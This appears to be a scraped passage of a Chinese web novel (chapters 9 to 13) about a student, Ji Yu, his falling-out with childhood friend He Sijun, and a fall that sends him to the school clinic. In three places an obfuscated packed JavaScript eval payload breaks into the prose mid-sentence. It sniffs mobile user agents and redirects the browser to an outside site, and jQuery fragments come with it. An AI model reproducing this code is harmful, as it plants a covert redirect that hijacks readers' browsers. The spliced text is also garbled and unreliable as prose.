“奋斗的激情。” 纪羽了然,原来红发和印着奋斗字样的红发带起到了一样的作用。 他把早餐分给展舒文一份:“还热着,就是有点窜味了。” 没多久,柳承也来了,他对展舒文的发色表现出莫大的担忧,一边吃着纪羽带来的生煎一边说:“这也太引人注目了。” 果然,李玄才迈进教室,就把展舒文叫了出去。 纪羽努力无视着课本上的早餐味,视线往外飘,捕捉着从走廊传来的谈话声。 展舒文回来和去时的表情没什么变化,纪羽和她座位被隔开了,也不好问,抓心挠肝地记挂着。 “纪羽。”李玄站在讲台上点他的名。 纪羽后背抖了一下,强行把眼睛钉在课本上下意识张嘴念:“You don''t know how exacted I was to……” “行了,出来吧,物理老师找你。” 纪羽放下地理课本,乖分道:“好。” 办公室里只到了几名老师,贺思钧不知道为什么也在,弯着腰在桌面写东西。 物理老师是个心肠宽厚的小老头,教学态度温和,手也很巧,学校下发的教学器具缺胳膊少腿,常常都是他自己动手补上。而他姓鲁,又刚好也是一名班主任,学生都叫他鲁班。 鲁班眉眼间带着显而易见的忧愁:“这个怎么会错呢,不应该呀,我前两天才讲过的,是不是老师没讲明白?” 纪羽羞愧地低下头,脚趾抓着鞋底,眼神躲闪。 其实题目不难,昨晚纪羽做题时甚至自信满满,但不知怎么的,今天一看就知道做错了,还是很明显的错误。 纪羽都不好意思辩解,虚心受教。 鲁班也不是诚心为难他:“你这几道题都做得很好嘛,但是这里怎么没有用我教的方法呢,能节省时间还是要节省一下。” 鲁班一面改一面说,突然想起来什么似的:“纪羽,你前几天又请假了是吧,老师都忘了。”他扭头,“贺思钧,你怎么不提醒我呢,叫你当课代表你要帮助我嘛。” 贺思钧直起腰看过来,就见纪羽偷偷挪了挪脚跟调整角度斜向背对着他,脑袋也转过去了。 “我也忘了,老师。” “你年纪轻轻的也学我健忘了?” 鲁班哼一声,转过来对纪羽说:“我让贺思钧给你划几道题目,我前几天重点讲过的,你们俩是同学又是朋友,别不好意思,让他把你教明白,知不知道?” 纪羽知道但也不想知道:“鲁老师我觉得不用。” 他这边推拒,贺思钧又装聋作哑地不知道主动吭声,鲁班眼睛左右打量:“你们俩闹矛盾了?” 男生吵吵闹闹的也很正常,前一天打在一起,后一天就能勾肩搭背,鲁班也没当回事。 “就这样,我做主,你们俩结成互助小组。哎,纪羽不是英语成绩还行吗,我听说你写作文很棒的,喏,贺思钧这些就不行,但是他数理化好,你们俩刚好对口,互帮互助,早晚能把成绩提上来!” 鲁班对此相当满意,也不管两人作何反应:“我待会就和你们班主任说,你们俩有成效就推广开。好的学习状态就是既要有竞争又要有合作!” 纪羽绷着脸鼓起勇气想打断,就听贺思钧答道:“好,谢谢老师。” 10. 第 10 章 话茬被人截了,纪羽再想拒绝倒显得他不给鲁班面子,只好闷不吭声地默认下来。 “行了,你们俩都走吧。贺思钧你把登记本拿过来,你动作慢得哟,要赶不上上课了。” 两人一前一后出了办公室。 纪羽一句话也懒得说。虽然尊师重道是传统美德,是一个学生应尽的义务,但并不妨碍他对这项强行配对的指令阳奉阴违。 更何况他根本没出声答应。 沉默可以是默认也能是无声的对抗,世上没有比这更讨巧可以规避矛盾与冲突的方式了。 至于贺思钧怎么想,那就不在纪羽的考虑范围之内了。 无论他是试图想借此补救和好,还是纯粹地不想纪羽满意,都不会得逞。 纪羽走过楼梯转角,贺思钧放慢脚步,抬头看见纪羽的脸从栏杆缝隙中闪过。 他脚步轻且快,不过一晃神,细白一截脚腕就落到了楼梯最上沿,拐了弯就看不见了。 早操期间展舒文和纪羽一道留在教室里。 “李老师让我少出去晃,尤其不要跟在班级里,单独活动的时候要注意主任和其他领导,有多快跑多快。” 纪羽问:“那要是没跑成呢?” 展舒文一本正经:“那就哭着说老师对不起我这是天生的,如果您实在看不过去,我可以去染黑。” “哭不出来怎么办?” “我认为哭是一个条件值,在实际操作中应该要看是否有发挥的空间。” 纪羽点点头:“还是要随机应变。” 他走过去摸了摸展舒文的头发,发色的改变让展舒文看起来不太一样,就像看到本该从事高精尖工作的机器人在路边跳广场舞。 “我也想染头发。” 展舒文也抬手捻了捻纪羽的头发,纪羽是黑发,但颜色比常人稍浅一些:“黑发不好吗,维持原来的发色能减少很多麻烦。” 比如说被谈话,被人围着惊叹“你胆子好大呀”,受到很多不必要的注目礼。 不过展舒文的母亲展女士可能要的就是这种效果,她甚至曾说:“我如果打扮得不足以让人评头论足,没接受异样的眼光,那就是我做得还不够。” 大概是她觉得女儿的人生实在太无趣乏味了,该在一些不被允许的地方激烈地反抗试试。 展舒文觉得试试也没关系,更不后悔,顶多是有些麻烦,但算不上是什么天大的事。但就对纪羽而言,可能就不算小事了。 操场的广播播放音乐,纪羽探出窗望去,满操场的深色脑袋顶乌泱泱跑动起来,他又转过来看着展舒文与众不同的红发。 “就是要体验啊,不把头发染成红的蓝的紫的黄的,怎么知道哪种最适合自己。”纪羽畅想着他脑袋上长出彩虹来,趴在桌面侧着脸,“不过纪律肯定不同意。” 别说纪羽要染头发,就算是出门散步,也是要和纪律再三报备,纪羽的房门不能上锁,更不能听到喊声不回应,吃饭时间必须在三分钟内到达座位坐好。 纪羽觉得自己以上要求大部分时间都能达到已经很不错,纪律却觉得这都是纪羽必须要做的事,根本不值得表扬,要达到他嘴里听话懂事的标准,纪羽还差了一大截。 纪羽的反抗都是无效的,要被划入家庭档案做不良行为处分,徐梁和纪泽兰不在,纪律就是这个家说一不二的掌权人。 展舒文就和他不同了,她父母虽然分居,但并不影响家庭关系,她和母亲相处得就像同龄人,展圆甚至会采取她的意见接受批评。 纪羽连想象纪律会承认错误都不敢想。 他又问展舒文:“你的红发能维持多久呢,李老师有没有让你立刻把它染掉?” 展舒文说:“她说我可以维持到被抓住的那天。” “我会替你打掩护的。”纪羽心底燃起一丝斗志,觉得自己像背上了什么使命般说道。 纪羽言出必行,去往食堂的路上,展舒文走在中间,他则异常机警地左右张望。 走在前头的柳承频频回头:“真的要我走前面吗……会不会不太好,我觉得他们都在看我……” 纪羽伸长脖子:“你别怕,把背挺直,哎呀不要紧张得同手同脚,就快到了,回去我走前面好了。” 展舒文时刻注意着脚下,免得一脚踩中柳承鞋跟连带着摔了一串。 “我认为我们现在这样更引人注目了。” “没事,都是学生在看我们,我没看到有老师。” 比平时多花了八分钟时间到达食堂后,柳承看着人满为患的排队窗口,咕咚咽了口唾沫:“我们还有饭吃吗。” “去三楼吃。” 食堂三楼虽然菜式新但价格贵量少,所以人相对少些。 但也只是相对而言罢了。 好不容易打了饭,放眼望去根本没有合适的座位。 “那有两个位置,你和柳承坐那儿吧。” 展舒文转过头:“你坐哪儿去?” “我看到认识的人了,你们吃完要来找我,我们一起回去。” “行。” 纪羽回过头,看到柳承像跟在展舒文后头,像打手跟着大姐头。 他绕过几个端着餐盘像呆头鹅傻站的同学。 “我想坐这儿,可以吗。” 梁子尧偏头一看,是纪羽,忙点头。 “咳咳咳…”梁子尧用力拍着胸口把饭咽下,“你也一个人来吃饭啊,就打这么点够吃吗?我跟你说三楼的免费汤最好喝,泡饭吃我能吃两碗,要不要我替你去打一碗——” “不要。” 纪羽一把按下梁子尧:“我够吃了,你吃你的。” 坐下之前纪羽还怕自己会尴尬,和梁子尧搭上话后才发现自己完全是多想了。 才认识两天,梁子尧嘴叭叭地就停不下来,已经自顾自分析了食堂一二三层楼的特色和优劣,还给出了改进建议。 纪羽打断他:“你怎么不写到意见反馈簿上去?” “写啊,我每顿饭都来写,至少提三个意见,不过不知道为什么,写了一个礼拜之后意见簿就撤了,咱也不知道找谁说理去。” “……你还挺热心肠的。” “那可不,”梁子尧来得早,已经吃了两碗饭,顺嘴把第三碗汤泡饭倒进肚子接着说,“我没别的爱好,就是喜欢给人帮忙,你有事都能找我说啊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126403|180070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 纪羽没当回事,他自立自强的,没什么要梁子尧帮忙的,拣了两口合眼缘的菜叶塞进嘴里,又听梁子尧压低嗓音悄摸声说:“你是不是和你们班的贺思钧有过节?” “?”纪羽转过脸就见梁子尧一副全知的高深模样。 “你请假那事是不是还和贺思钧有关?我都听人说了,你返校第一天就当众羞辱贺思钧三次,还说玩腻了他,一个大老爷们,哪能忍这个,据说你们周日晚自习前他就把你堵在校门口打了一顿,把你伤得三天没能来上学,是不是有这么回事你就说吧。” 纪羽听得云里雾里:“这都什么和什么,什么叫羞辱,我只是没理他,而且我是说和他玩腻了,不是玩腻了他。还有,他怎么就打得我三天不能上学了?” 明明是他大胜贺思钧,把他说得哑口无言,无力反驳才是吧? 梁子尧眯起眼:“我还听说你们是十来年的发小,以前关系亲近得不得了,但从今年开始,准确来说是上个学期后,你们就没正常说过一句话,现在连饭也不在一块儿吃了,对不对?” “……对。” “你听我说啊,这关系再好一旦交恶啊,绝对不会善了,要么捏着鼻子和好,要么就反目成仇。” 纪羽打住:“就没有回到陌生人的选项吗?” 梁子尧伸出一根手指摇了摇:“那是老死不相往来,你们现在正是高三,还是同一个班的同学,怎么可能不碰面不交流?越是深厚的感情,一旦变质,就容易走向另一个极端。” “比如说?” “比如说发小变死对头,处处给你下绊子,当你的对照组,在各种大事小事上打压你,骚扰你,不让你舒心,绝不可能让你好过。” 纪羽仔细回想了一下,觉得确实有几分道理。 今天先不说他在办公室被莫名定下和贺思钧结成互助小组的事,他没和贺思钧追究就算了,从早上开始,无论他走到哪,贺思钧都以一种幽深的目光盯着他,不像歉疚,倒像是——怨恨。 纪羽觉得自己一下子想清了关窍,他原本还不明白贺思钧怎么突然而然就答应和他绝交,还说要尊重他的意愿。 贺思钧本就是个认死理且死不悔改的人,甚至比纪律中毒程度更深。 纪羽还记得他小时候戴在手上的银镯掉在地上,被贺思钧不小心踢进池塘里,纪羽嘟嘟囔囔地要捡起来,贺思钧哗啦一下就跳进水里。 那时是深秋,水已经很凉了,贺思钧一跳下腿就打抽,拍起的水花溅到纪羽脸上。 纪羽吓得大哭,一边跪在地上伸长手臂捞他,一边喊纪律。贺思钧被捞上来后,他还挨了纪律一顿罚。 再之后纪羽自己都忘了还有个镯子,贺思钧却把它捞了出来,重新清理过仍像新的一样。 贺思钧很轴,轴得让纪羽害怕,但也确实对他很好。纪羽想,如果换了贺思钧某天提出要和他绝交,他一定会掐死他。 即便纪羽事出有因,但谁又能担保贺思钧心里没有怨气呢?毕竟他亲口说,他不认为自己做错了事。 不过对着梁子尧,他还是说:“我觉得贺思钧不是那样的人,他也没有打过我,我们是和平绝交的。” 11. 第 11 章 “哦……”梁子尧摸了摸鼻尖,“不好意思,有时候我说话比较没个把门,你别多想。” “没有,这件事和你没关系。”纪羽垂下眼,心里莫名不是滋味。 明面上没人来问他,或许是照顾了他的面子,但想到自己也成了别人八卦的一环,被人看了笑话,难免有点不舒服。 梁子尧沉默一阵儿,把手搭在纪羽肩膀,紧了紧:“之后我听别人再提起来就替你澄清,算我弥补过错,成不成?” “好吧。”反正是梁子尧自己提出来的,纪羽不答应白不答应,自然应了,还应得很矜持。 扣在肩上的手臂沉甸甸的,纪羽不习惯地扭扭脖子,觉得有点痒。 出于身体原因,他很少参与体育活动更别说是肢体对抗类的活动,贺思钧更不会把他的手臂架到他身上。梁子尧似乎完全没有要维持半米的社交距离的概念。 才想叫梁子尧把手放下,梁子尧却突然用力收紧手臂,把自个儿拉到纪羽身边:“那是贺思钧吗,他是不是在看我们?” “他看就看了。”纪羽顺着他目光看去,不觉得有什么稀奇,贺思钧整日神出鬼没,他都快习惯了。 四目相对,纪羽话音猝然一收。 贺思钧面无表情地望着他,梁子尧在耳边对着纪羽说了什么,纪羽完全没听清。 食堂里闹哄哄的声音在耳边嗡嗡作响,纪羽看到贺思钧的脸上出现过于不善而冷厉的神情。 换了以前,纪羽一定会蹦起来冲到他面前质问:你这是什么表情,你什么态度! 不过以前贺思钧不会对他摆脸色,也不会坐在离纪羽那么远的角落里。 纪羽下意识换上对抗性表情时,贺思钧已经转身离开了。 ——“你听得见我说话吗,纪羽?” 纪羽回过神,嘈杂声如海浪般褪去:“怎么了,你刚刚说什么?” “刚刚我说,贺思钧眼神真吓人,我还以为自己是什么罪犯被他盯上了。” “他又没有执法权,你怕什么。” 纪羽甩开他的胳膊,站起身:“我吃饱了,你慢慢吃吧。” 他的意志突然变得很虚弱,和人交流多一分都在消耗他为数不多的精气神。 在回去的路上纪羽显得闷闷不乐,柳承连讲了几个有意思的歇后语都没能把他哄好。 明明不是他做了错事,为什么他会不开心。 纪羽睡不着,纠了一整个午休的物理错题,到了下午,整个人都木木地慢半拍。 听到几人响起惊呼声,纪羽才发现自己坐在地上,大脑迟缓地接收到尖锐的痛感,他被人七手八脚扶起来,下意识要去摸自己的屁股。 “别动。”贺思钧又神出鬼没地出现,纪羽才发现后领被他揪着。 “你把我勒死了。”纪羽下意识抱怨。 “对不起。”贺思钧在这样的小事上道歉很快,把手松开。纪羽摔得尾椎发麻,站不住似的往下蹲,贺思钧又卡着他的腋下把他托起来。 罪魁祸首拎着拖把姗姗来迟:“不好意思不好意思,我接水接太满了。纪羽,你没事吧?” 纪羽屁股很痛,他忍着没表现出来:“没事,我没注意看地上。” “把杯盖盖上不难。” 尴尬似乎没有被录入贺思钧的字典,他冷硬地插入和谐友好的氛围,把纪羽维系的体面搅得一团乱。 纪羽看着歉意与关心在那人脸上凝固,周围都小心地不敢出声,他扒开贺思钧的手,转头压声恶狠狠地说:“没让你管。” 静默的场面并没有因此得到缓和,贺思钧握住他的胳膊:“我带你去医务室。” “我不去。”纪羽认为自己远没有到要去被校医扒开衣服检查的程度,试图如法炮制甩开他,贺思钧的手掌却像有吸力似的黏在他身上,不仅没甩掉,还把纪羽吸到了他身边。 纪羽被劫持着离开了教室。 他望见的教室里的最后一幕是柳承犹犹豫豫地试图上前解救他,展舒文抬手对他拜拜。 结果就是任由贺思钧把他拖走。 纪羽快气死了。 “贺思钧,不要走了!”纪羽贴着墙面喊停,贺思钧转过头看他。 贺思钧长相异常端正不带一丝邪气,但冷着脸没有表情时就显出压迫感,叫人打心底发怵。 纪羽见他这样,又想到他中午格外森冷的目光,胸口像坠了块石头,压得他气闷不已,说话也带着股委屈劲:“是别人倒水在地上我才摔倒的,你对我凶什么啊,我屁股好痛,你还一直走……” 他不张牙舞爪的时候脸乖得很有欺骗性,睫毛向下垂,嘴唇因为疼痛发白。 贺思钧听着就要把手伸到他身后去,纪羽偏身不让他碰,背靠着墙蹲下去:“我的衣服也湿了…烦死了……” 背上的校服沁了水,风一吹贴在身上冷津津的,为了躲贺思钧,他还贴着墙上的瓷砖,被冰得打哆嗦。 什么东西都要和他作对,纪羽鞋跟撞了下墙面,连丁点印子都没留下。 贺思钧脱下外套,伸手又来碰纪羽的拉链。 “我不穿你的衣服,你也不要管我。” 纪羽死死捏着外套拉链,也不去看贺思钧,靠着墙站起来慢慢挪步:“打铃了,我要回去上课了。” 方才说自己屁股疼的是他,现在装没事人又要走的也是他,贺思钧完全想不明白纪羽到底在想什么,把外套往纪羽身上一搭,伸手一捞就把纪羽夹在胳膊底下往医务室走。 “你干嘛呢!”纪羽愤怒了,连声怒道:“贺思钧,我要回去上课!” 他们还在教学楼楼梯上,纪羽不敢喊得太大声,于是伸出手去拧贺思钧的小臂。 “这节课体育,你上不上都一样。” “那我也要回去自习,反正我不去医务室。” 纪羽不管怎样还有些重量,挣扎起来力气也不小,贺思钧单手根本控制不住他。 眼看着纪羽要滑出臂弯,贺思钧干脆把他放在楼梯转角平面,手在他背后轻轻按了一下。 纪羽像被按下静音键似的,不吭声了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126404|180070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “痛?你要我现在在这给你看也可以,衣服撩起来。” 纪羽吸了一下鼻子:“你摔到屁股你也痛,不会出事的,就摔了一下。” 他说着就感觉到贺思钧的手顺着衣摆下方摸到他后腰,抖了一下说:“你又摸不清楚。” “有点肿了。”贺思钧说,他蹲下来撩起纪羽裤腿,“又有血点了,什么时候起的?” 纪羽整个夏天都捂在室内,全身都白,几点红色淤痕落在小腿格外碍眼。 “那个是撞的,新长出来只有几个小的……”纪羽声音小下去,像被突击检查了功课一样紧张,“前几天就长了,我要上学的呀,长一点点没关系的,郝医生说是正常的。” 纪羽动的少,吃的也少,身上没多少肉,贺思钧的手掌轻易就盖住了他的小腿,从脚踝一路摸到膝盖。 “腿疼不疼?”贺思钧记得纪羽扶起来时站都站不稳。 纪羽被他摸得痒死了,心里还记着他们破碎的友谊,抽出腿往后挪,鞋底在地面蹭了蹭,瓮声瓮气:“我又没摔到腿,怎么会疼。” 贺思钧看他活动挺灵活,至少腿部关节没什么问题,直起身说:“不疼就好。” 看着纪羽没那么抵触,贺思钧想了想,试着轻声说:“去医务室简单看看,马上就回来,应该没什么事。” 纪羽听他这么说,立刻松了口气。 “我就说没什么事,你反应那么大干什么,摔一跤也不会怎么样,最多留点印子嘛。你对别人说话那么难听,好像出什么大事了一样,以后他都要绕着我们走了。” “不是他没盖好水杯,你也不会摔。” “你还是别说话了。” 贺思钧顺从地闭嘴了,久违地从纪羽口中听到“我们”的字样,最大程度地安抚了他躁动的情绪。 纪羽最终还是让贺思钧把他背到了医务室。 “年纪轻轻摔个跤大惊小怪的哟,要是骨折我这里也看不了的哈,我这里么只有红花油和碘伏,你们看看要用得上就用一下,我里面还有学生了,你们自己待一下。” 校医是个尖酸刻薄的人,听了她的话不光贺思钧冷了脸,纪羽也抱臂冷哼一声。 不过一中的医务室确实相当简陋,十几平方的样子,只用道帘子隔开里外两间,配备的都是常见的药物和医疗用品。 纪羽找了张塑料凳坐下,他也是第一次来,环顾四周,又觉得可以理解校医一点儿了。 在这里工作,确实没什么好心情好脸色。 不过也仅限于一点。 职业操守的缺失是绝对无法容忍的。 才坐下来,后腰下方火辣辣的疼痛瞬间鲜明,纪羽歪着上半身,怎么坐怎么不舒服,像有蚂蚁在骨头里爬。 贺思钧要他掀起衣服,纪羽还是有点犹豫:“我觉得过两天就好了。” “你知不知道自己摔得有多响?” 纪羽又疼又烦:“你知不知道自己有多讨厌?” 贺思钧抓起他的衣摆,直接掀开:“不知道。” 12. 第 12 章 纪羽确实摔得不轻,后腰往下一片摔得肿胀,红肿的淤痕顺着脊柱沟向下延伸,隐约透出紫意。 按理说淤青在不会在短时间内发展得那么快,但纪羽体质特殊,血管较常人更脆,修复能力也更差,一点痕迹都会留存更长时间。 贺思钧半天没反应,后背被呼吸吹得凉凉的,纪羽心里发毛,扭着头向后看:“你怎么不说话啊,你手拿开我看不到……” “别动,我叫人过来看看。” 贺思钧把他衣服放下,抽了几张纸巾隔开浸湿的衣服,走到里边去叫人。 隔着一块门板,篮球场上摩擦的脚步声和碰撞声清晰地传入,帘子后边则响起贺思钧压低的声音,纪羽侧耳去听,外边又爆发一阵像猿猴啸鸣似的欢呼。 “你不知道早点说他有病啊?” 校医挥手打开帘子走出来,对上纪羽不高兴的目光掩饰般地咳嗽两声。 “紫癜是吧,严重不啦?上一次发作是什么时候,你对什么东西过敏啊……衣服撩起来我看。” “是特发性过敏性紫癜,”贺思钧纠正道,“他上一次是两个半月前复发,症状比较复杂,但常见接触物品没有过敏反应。” 胶质手套接触皮肤,纪羽不自在地动了动。 “绷那么紧干什么啦,屁股那么多肉,怎么还摔到这里哟。身上其他地方痛不痛的?裤子脱了腿看一下。” 哪有这样说话的! 纪羽噌地站起来,伤处被拉扯到,疼得脸上红了又白:“我不看了,我要回去了。” 贺思钧走过去要扶他,被他踩了一脚在鞋面。 “诶,这是你自己不重视哦,不要出了问题再来找我。” 纪律站得笔直:“我没问题。” “噢。”校医抬起两边眉毛耸耸肩,摘了手套,转向贺思钧说道:“我现在是看不出来问题,你过几个小时观察一下,不放心就带他上医院好了。喏,冰袋在里面,你们要用自己拿。” 校医又回到帘子后边,贺思钧把脚从纪羽鞋底抽出来:“先冰敷试试看。” 纪羽探手向身后摸:“很严重吗,我觉得还好……呃……” 他看不见,手也没分寸地按,吃了苦头才知道收敛。 “别乱动,已经紫了。”贺思钧把纪羽带到转椅上坐下,把纪羽的手拨开,用纱布缠了一圈冰袋贴上伤处。 纪羽瑟缩一下,侧身靠着转椅靠背扒着,胳膊垫在下巴底忍着痛。 最初冰冷的刺激感过去,就是一阵麻,纪羽紧绷的神经松懈下来,轻声说:“不要告诉纪律。” “他能照顾你。” 兴许是太熟知纪羽不安分的本性,贺思钧一手卡着纪羽的腰胯,另一手握着冰袋轻轻地贴上化不开的瘀血。 “他只会怪我,说,‘纪羽,你是三岁小孩吗,走路也能摔,下次复查要不要带你去照脑部CT?’他有时候对我好,有时候就会对我很坏,他知道我摔成这样,会对我更坏的……” 不让纪律知道,纪羽只需要演好一点;但是让纪律知道,纪羽要考虑得就更多了,要担心和害怕的也更多了。 摔伤只是一个小得不能再小的意外,没必要延展出更多的担心与恐慌。 纪羽总是被迫生出无用的焦虑。 贺思钧有没有答应纪羽并不清楚,他伏在椅背上睡着了。 一阵莫名的嗡声把他吵醒,纪羽睁开眼,看到贺思钧拿着吹风机烘他的衣服。 “从哪儿来的。” “和宿管借的,你摸摸,已经干了。” 纪羽歪头去看:“我脖子好痛!” 他不知道睡了多久,脖子像落枕了似的僵直,一扭头抽筋似的剧痛。 贺思钧在他脖子后面捏了两下,纪羽才舒服了,无意识地靠着揉捏的手掌,脸颊蹭了蹭。 贺思钧只觉手掌被柔软的东西捕获了,温热滑腻的贴着他的手背,指节被吞噬般失去感知。 纪羽惊醒得也很快,他慌乱起身:“几点了,第几节课了?” “第六节课还有十五分钟下课,我和老师请过假了。” 纪羽立刻就要回去。 淤血没有继续扩散,化作细密的钝痛,在行动间拉扯着肌肉骨骼。 学校里的景观没有丝毫新意,长长的回廊连通几栋分不清名字的楼,挂在墙面大大的钟表指针生了锈,随处可见的标语写着: 以梦为马,不负韶华。 夯基础多锤炼出成绩,争分秒重实效抢效率。?? 纪羽既没有梦想,也没有抢出比常人更多的时间。 他微微仰头看见身边贺思钧,他身形挺拔挡下了大多数灼热的光线,神色寡淡,眼眶深陷。 纪羽以前觉得他的心思很好猜,只要看着贺思钧的眼睛就能明白他在想什么,现在却是难以辨认。或许他们之间确实出现了不可修补的裂痕,又或者,从前纪羽以为自己懂也只是自以为是。 “贺思钧,你毕业以后要上军校吗。” 其实根本不必问,因为一直以来贺思钧都走在这条道路上。贺泰安是一位值得尊敬的军官,功绩斐然,却在多年前一场作战中丢了一条腿,从此天地倒转。但好在他的儿子可以补足他的残缺,让他以稳固、健壮的姿态重新站起来。 纪羽并没有要评判什么,他只是想确定贺思钧的梦想是不是依旧坚定不移,好从中得到一些力量,收获些憧憬与动力。 也确定即便不是现在,未来他们也会奔向两个截然不同的方向。 命运的洪流里泛起一点涟漪,就足够把他们推向各自的航道。 “我应该去。”贺思钧这样回答。 他从不说模糊的中间词汇,应该就是必须,就是必然,是他的使命与职责所在。 “哦,”纪羽点点头,“挺好的。至少你有要去的地方。” 他们穿过长廊,银杏掉了几片深绿的叶子和果,有人路过踩碎了,在地面留下深色的印迹。 贺思钧偏头看向纪羽,感到纪羽的情绪慢慢回落,落到他捞不起来触碰不到的水底。贺思钧再怎么努力,也只能看到晃动的水面与模糊不清的他自己。 可他和纪羽没有争吵,纪羽更没有红着眼睛掉眼泪,纪羽甚至很平静,他们的关系像回到夏天以前。 他们暂时心照不宣地和好了一阵,要回到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126405|180070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人群前,纪羽又退回了他们该有的距离之外。 贺思钧竭尽全力去想,问出了一句像极了挑衅的话: “你没有地方去?” 纪羽睁大了他那双漂亮的眼睛,小痣浮起来:“说什么呢,我还是有不少大学能上的。” 贺思钧说对不起,却也没有修正歧义。 他大概依旧认为自己并没有错,纪羽没能成型的梦想也与他毫无关系。 纪羽说他们俩要划清界限,教室里边也没有贺思钧的座位,他让贺思钧在外面等到下课再进去。 这一节是走班课,贺思钧看到纪羽回到自己的座位上,属于他的位置却坐着梁子尧。 他看见梁子尧亲昵地倾身靠向纪羽的方向,低声说话,把一些破烂的折纸丢到纪羽的桌洞。 那么轻浮、戏谑。 然后他看到纪羽借着遮挡拧着眉回身向梁子尧说话,梁子尧做出浮夸的回应。 这大多都是些很正常的小动作。班里甚至有一半人撑着头发呆,有人坐着睡着,也有人自以为隐秘地对镜整理着装,贺思钧还看到纸条从头顶、桌下飞过,他们都躁动不安。 下课铃美妙地响起,所有人像重焕新生般抬起头望着讲台。 一声“下课”尾音还没落下,已有人抱着书向外冲,这些人里不包括梁子尧。 纪羽在问后桌苏林借笔记,他就在边上叭叭个不停。 “麻烦你让一下,这是我的位置。” 梁子尧笑着起身,为贺思钧让位,脸仍面向纪羽说:“明天我给你带啊,你肯定喜欢!” 他让了位,贺思钧却没有立刻坐下,反而垂眼看着他的位置,好像被梁子尧坐过已经被污染了似的。 “请你下次来找别的位置坐。” 这边话音落下,那边苏林满意地扬起眉毛,向纪羽传授秘诀:“地理最重要的不是老师教了什么,是你要和出题人思维同步……” 纪羽一面不敢错过苏林的指导,一面又忍不住去瞄身旁两人的动向,眼睛和耳朵各忙各的。 梁子尧笑了一下,也没说好还是不好,对着纪羽打了个招呼:“那我先走了。” 纪羽随便摆了摆手,梁子尧也不在意,擦过贺思钧的肩从后门离开了。 大概是过道狭窄,两个人体格相当,骨头也硬,谁也让不了谁,纪羽听见两人肩膀相撞,咯嘣响。 纪羽听得牙酸,抬眼只看到贺思钧古井无波的脸。 装什么? 他横了一眼贺思钧,撑着桌沿小心翼翼转回身,错过了贺思钧向他投来的目光。 幽深得看不见底,却也只映照出纪羽的身影,在明明灭灭变换的光晕中始终如此。 但也因为太冰冷,钢刀般的锐利,没有人愿意接受金刚石剖开玻璃般的探寻。 贺思钧试图回想纪羽的行为找到答案。 纪羽要他等着,就是要他见证他的身边会有数不清的人扑上来,像梁子尧那样玩世不恭的人也可以搭着他的肩膀,靠两句浅薄的示好轻易地留在他身边吗? 他总是在揣摩纪羽的心思上出错,可纪羽似乎已经不打算给他修正答案的时间。 13. 第 13 章 离上课还有段时间,柳承刚走班回来,屁股都没挨一下凳子就挪到纪羽边上蹲着。 像座山。 “你没事吧?” “有事!” “摔、摔坏哪儿了?我看看……” 纪羽恨铁不成钢:“看看看,你还是我朋友吗?我被人抓走你就眼睁睁看着不帮我?” 倒也不是别人,纪羽和贺思钧再吵那也是钝刀子切藕,柳承虽然内向但也不傻,贺思钧再如何也不会把纪羽怎么着了。 不过对着纪羽狡辩显然是无用的,柳承选择直接的方式,诚恳道:“对不起,我知道错了。” “又来这套。” 纪羽故意不看柳承,笔尖不停抄着笔记,看柳承着急又说:“对上贺思钧你怕什么嘛,他又不会把你怎么样,重要的是你的态度,要让我看到你敢于冲锋的决心,懂不懂?” 写完最后一个字,纪羽转过去捏了把柳承的上臂,叹口气:“我要是有你这样的肌肉就好了,看谁不爽就把谁丢出去三米远。” 身上长点肌肉,也不大容易摔伤。纪羽上身板直不敢随便动弹,实打实地羡慕柳承看起来就健康过头的体格。 柳承忍住痒痒,抬头看纪羽精心雕琢的脸,怎么都想象不出他全身肌肉贲张的模样,像现在这样手脚细细长长的多好看,就是身板太薄了。 像贺思钧那样就挺好,虽然个头也高,非常容易引人注目,但看着不会太壮,和纪羽站在一块儿比较和谐。 柳承向纪羽后方投去一眼打量,没想到贺思钧也看向这儿,眼神深沉吓得他忙收回视线。 他斟酌着用词问道:“你和贺思钧出去,又吵架了吗?” 肌肉回弹手感不错,纪羽揉捏过了瘾收回手:“没有,我和他有什么可吵的,没意思。” - “我数三二一,放手!贺思钧!” 下班晚高峰,街道边车流如水,绿灯进入倒计时,行人急匆匆地跨过斑马线,等待区只剩下两个人还在纠缠。 两人穿着校服,一个高个没表情的抓着另一个的手腕,任由被踢打揪扯也不肯放手。 “你脑子长泡了你替我晚自习请假,我警告你给我松手,现在回去还赶得上听英语听力。你知不知道我已经把计划都排好了,你扰乱我的学习进度,你居心叵测,你怕我下次考试名额排在你前面的前面的前面!” “你本来就有假,我请了我自己的。” 李玄一听贺思钧要陪纪羽看诊,假条批得很快。 